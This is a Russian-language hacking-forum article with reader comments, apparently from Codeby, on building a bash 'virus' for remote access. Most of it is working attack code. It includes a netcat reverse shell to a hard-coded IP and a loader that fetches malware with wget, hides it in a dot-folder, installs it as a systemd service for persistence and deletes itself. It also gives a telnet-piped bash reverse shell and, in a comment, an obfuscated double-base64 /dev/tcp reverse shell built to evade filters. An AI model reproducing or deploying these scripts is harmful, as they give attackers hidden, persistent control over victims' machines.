• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Написание программы для удалённого доступа на bash. Попытка первая.

dieZel

Green Team
08.04.2018
227
597
BIT
0
Всем читающим привет, сегодня хотелось бы поговорить о вирусах на Bash. Начнём с элементарного.

Статья написана в целях ознакомления и не призывает к действию!

bin-bash.jpg


Одним из самых основных инструментов сетевого взаимодействия в Linux является netcat и с помощью него можно создать простейший вирус, буквально в одну строку.
Эта команда дарует вам шелл на хост жертвы.

Bash:
nc -nv 192.168.0.178 4444 -e /bin/bash

Но сейчас это уже не работает, т.к. вряд ли безопасно выполнять команды принятые по незащищённому соединению и это понимают все. Поэтому сейчас почти ни в одном линуксе не будет работать опция -e.

Теперь перейдём к более интересным вещам, а именно созданию более-менее полноценного реверс-шелла. Где-то с костылями, где-то со странными решениями, но для меня это скорее исследовательская работа. :)

Для начала на нашу тестовую мшину нужно установить netcat.

Bash:
sudo apt install netcat

Теперь выполним команду

Bash:
nc -l <port> | /bin/bash

Теперь всё, что придёт на выбранный порт будет передано в bash и исполнено. Поскольку сейчас у меня есть доступ к обеим машинам я могу увидеть, что команды не исполняются, кроме того, ответ не отправляется на атакующий хост. Причина здесь в том, что команда даже если выполнится, выполнится локально и никуда ничего не отправит, но с этим мы разберёмся позже. Для начала решим проблему невыполнения команд. В терминале жертвы видим ошибку, рассказывающую нам о том, что она не знает, что такое $/lsr/
Я думал всё решится обрезкой лишних символов посредству cut или sed, но было решено резко сменить вектор разработки и разделить наш вирус на несколько файлов. Первый будет загрузчик, разумеется)

Загрузчик должен загружать, верно? Да! Погнали. Файлики самого вируса будем получать через wget с заранее созданного дедика на Я.Клауде. Я поставлю там nginx и просто кину вирус в директорию сайта. Возможно потом я разберусь с js и сделаю загрузку вируса при заходе на сайт. Но это потом. На сервере пока лежит файл-затычка, который мы будем скачивать, а сейчас создаём лоадер.

Вся задача лоадера заключается в менее чем десяти строчках

Bash:
#!/bin/bash
wget <ip>/.virus.service
wget <ip>/.virus.sh
sudo chmod +x .virus.sh
mkdir /usr/share/doc/.virus
sudo mv .virus.sh /usr/share/doc/.virus/.virus.sh
sudo mv .virus.service /lib/systemd/system/virus.service
sudo systemctl enable virus.service && sudo systemctl start virus.service
sudo rm loader.sh

Построчно объясняю:
  1. Указываем исполнителя;
  2. Скачиваем файл демона;
  3. Скачиваем скрипт;
  4. Даём скрипту права выполнения;
  5. Создаём скрытую папку для скрипта вируса;
  6. Перемещаем сам вирус в его папку;
  7. Перемещаем демона в папку;
  8. Включаем автозапуск и запускаем вирус;
  9. Удаляем лоадер, он больше не нужен.

В файле демона также ничего сложного, простейший юнит:

Код:
[Unit]
Description=It’s malware daemon
After=multi-user.target
[Service]
Type=idle
ExecStart=/usr/share/doc/.virus/.virus.sh
[Install]
WantedBy=multi-user.target

Построчно:
  1. Объявление секции “Юнит”;
  2. Описание;
  3. Указание очереди запуска;
  4. Объявление секции “Сервис”;
  5. Определение типа – ожидающий;
  6. Файл скрипта;
  7. Объяление секции “Установки”;
  8. Указание очереди и приоритета запуска.

А теперь к самому интересному – самому шеллу. Сейчас такое нагромождение выглядит нелепо, но если статья зайдёт, я буду дорабатывать этот вирус и все эти нагромождения станут основой для будущей модернизации, тем самым я глубже погружу вас и себя в мир Bash скриптов, вирусного ПО и вирусных Bash-скриптов.
Спустя пару вечеров, проведённых в мучениях netcat’а, я наконец решился взглянуть в другую сторону и увидел там telnet, который дал мне шелл с третьей попытки. Вот листинг:

Bash:
#!/bin/bash
telnet <адрес атакующего> <порт> | /bin/bash | telnet <адрес атакующего> <другой порт>

Всё, что здесь есть, это указание исполнителя и пайплайн, в котором telnet принимает команду на одном порту, выполняет её и отправляет вывод на другой порт. Конечно, это обязывает держать две слушающих сессии netcat одновременно, но это не так уж и костыльно, мне кажется.

Получилось немного, но работа, поверьте, была проделана немалая.
Надеюсь вам понравилось и на этом с вами прощаюсь.
 
Последнее редактирование модератором:

Exited3n

Red Team
10.05.2022
681
228
BIT
470
Тоже понравилось, плюсанул. Добавлю только для новичков, т.к. здесь используем systemd, прописываем unit и все такое. То данная конструкция не будет работать со всяким старьем использующим Init :)
 
  • Нравится
Реакции: Deanned и dieZel

Polyglot

Green Team
25.02.2020
44
59
BIT
151
Спасибо, интересная статья своей оригинальностью, на фоне конвейера переписанных туториалов с интернета "как сканировать порты на Питоне в цикле с socket..."
 
  • Нравится
Реакции: dieZel

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 187
BIT
0
Код:
echo "echo $(echo 'bash -i >& /dev/tcp/1.3.3.7/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'

не мучайся Бро)
 

dieZel

Green Team
08.04.2018
227
597
BIT
0
Всем огромное спасибо. Очень приятно видеть столько хороших отзывов, постараюсь на выходных выложить вторую часть. @Ondrik8 отдельное спасибо. Добавлю эту команду в следующую статью
 
  • Нравится
Реакции: Strife
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!